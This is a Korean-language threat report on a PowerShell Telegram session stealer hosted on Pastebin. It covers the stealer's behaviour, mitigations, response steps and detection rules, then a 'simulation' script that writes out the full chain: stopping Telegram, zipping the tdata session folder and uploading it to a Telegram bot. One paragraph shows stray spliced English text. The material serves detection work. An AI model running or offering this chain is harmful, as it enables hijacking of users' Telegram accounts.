텔레그램 세션 탈취기 해부: Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 방법
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Pastebin에 호스팅된 악성 PowerShell 스크립트가 Telegram Desktop 세션 데이터를 감염된 시스템에서 훔쳐가는 Windows 업데이트로 가장하고 있습니다. 스크립트는 호스트 세부 정보를 수집하고 Telegram tdata 디렉토리를 압축하여 Telegram Bot API를 통해 생성된 아카이브를 탈취합니다. 연구자들은 또한 Telegram Web 인증 키를 캡처하여 로컬 HTTP 수집기로 전달하도록 설계된 관련 웹 기반 스틸러를 확인했습니다. 두 도구 모두 알림을 위해 동일한 Telegram 봇에 의존하고 있으며, 이용 가능한 증거에 따르면 이는 광범위한 운영에서 사용되기보다는 테스트 단계에 머물러 있는 것으로 보입니다.
조사
분석가들은 Pastebin에 호스팅된 두 개의 스크립트 변형을 회수하고 하드 코딩된 봇 토큰과 채팅 ID를 발견했으며 전체 탈취 과정을 재구성했습니다. 실행 중에 스크립트는 Telegram.exe를 종료하고 tdata 폴더를 압축하고 봇의 sendDocument API 메서드를 통해 ZIP 파일을 업로드합니다. 봇 텔레메트리는 또한 MTProto 인증 키를 사설 수집기에 전송한 별도의 웹 중심 스틸러를 노출시켰습니다. 전체적으로, 이 발견은 대규모 캠페인보다는 기능 검증 및 테스트를 가리킵니다. 192.168.137.131:5000. Overall, the findings point to functional testing and validation rather than a mature, large-scale campaign.
완화 조치
Telegram이 필요하지 않은 조직은 api.telegram.org 로의 아웃바운드 트래픽을 차단해야 합니다. 방어자는 Telegram API 엔드포인트를 타겟으로 하는 PowerShell에서 Invoke-RestMethod or WebClient 의 사용을 감시해야 하며 임시 디렉터리에 생성된 ZIP 아카이브에서 tdata 콘텐츠가 포함된 ZIP을 탐지해야 합니다. 노출된 봇 토큰은 즉시 철회하고 교체하여 추가적인 악용을 방지해야 합니다.
응답
스크립트가 발견되면 연관된 PowerShell 프로세스를 종료하고 생성된 diag.zip 아카이브를 제거하세요. 영향을 받은 계정에 연결된 모든 활성 Telegram 세션을 취소하고 2단계 인증을 활성화하여 지속적인 접근 위험을 줄이세요. 봇 토큰은 변경하고 연결된 봇 채팅을 검토하여 탈취된 데이터의 증거를 확인하세요. 추가적인 자격 증명이나 세션 자료가 수집되었는지를 확인하기 위한 더 넓은 법률 조사를 수행해야 합니다.
공격 흐름
탐지
Powershell에서 의심스러운 .NET 메서드 호출(via powershell)
보기
Telegram 명령 및 제어 채널로서 가능한 악용(dns_query 통해)
보기
IP 조회 도메인 통신 시도 가능성(dns 통해)
보기
검출해야 하는 IOC (SourceIP): Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 Telegram 세션 스틸러 내부
보기
검출해야 하는 IOC (DestinationIP): Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 Telegram 세션 스틸러 내부
보기
PowerShell 스크립트를 통한 Telegram 세션 스틸러 탐지 [Windows Network Connection]
보기
Windows Telemetry Update – Telegram 세션 스틸러 [Windows Powershell]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre-flight Check가 통과되어야 합니다.
이 섹션은 탐지 규칙을 트리거하도록 설계된 적 공격 기법(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 논리에 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.
-
공격 내러티브 및 명령:
- 사전 정찰: 공격자는 호스트의 공용 IP를 발견하기 위해
api.ipify.org를 쿼리합니다(기록에 나중에 사용됨). - 서비스 중단: 파일이 잠기지 않도록 하기 위해 합법적인 Telegram Desktop 프로세스를 중지합니다.
- 데이터 수집: Telegram Desktop
tdata디렉토리(세션 파일)를 임시 위치로 재귀적으로 복사합니다. - 아카이브 생성: 수집된 데이터를
diag.zip. - 탐지: 악성 Telegram Bot을 통해 아카이브를 전송합니다
Invoke-RestMethod. - 정리: 임시 아카이브를 삭제하고 필요 시 Telegram을 다시 시작합니다.
- 사전 정찰: 공격자는 호스트의 공용 IP를 발견하기 위해
-
회귀 테스트 스크립트: 전체 공격 체인을 단일 PowerShell 명령줄에서 실행합니다(탐지 규칙과 일치).
# Windows Telemetry Update – Telegram 세션 스틸러 $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content; Stop-Process -Name Telegram -Force; $src = "$env:APPDATATelegram Desktoptdata"; $dst = "$env:TEMPdiag"; Copy-Item -Path $src -Destination $dst -Recurse -Force; Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force; $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"; $chatId = "987654321"; Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data"; Remove-Item -Path "$env:TEMPdiag.zip" -Force; -
정리 명령: 환경을 원래 상태로 복원합니다.
# Telegram을 원하면 다시 시작하고 복사된 데이터를 제거합니다. Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden; Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;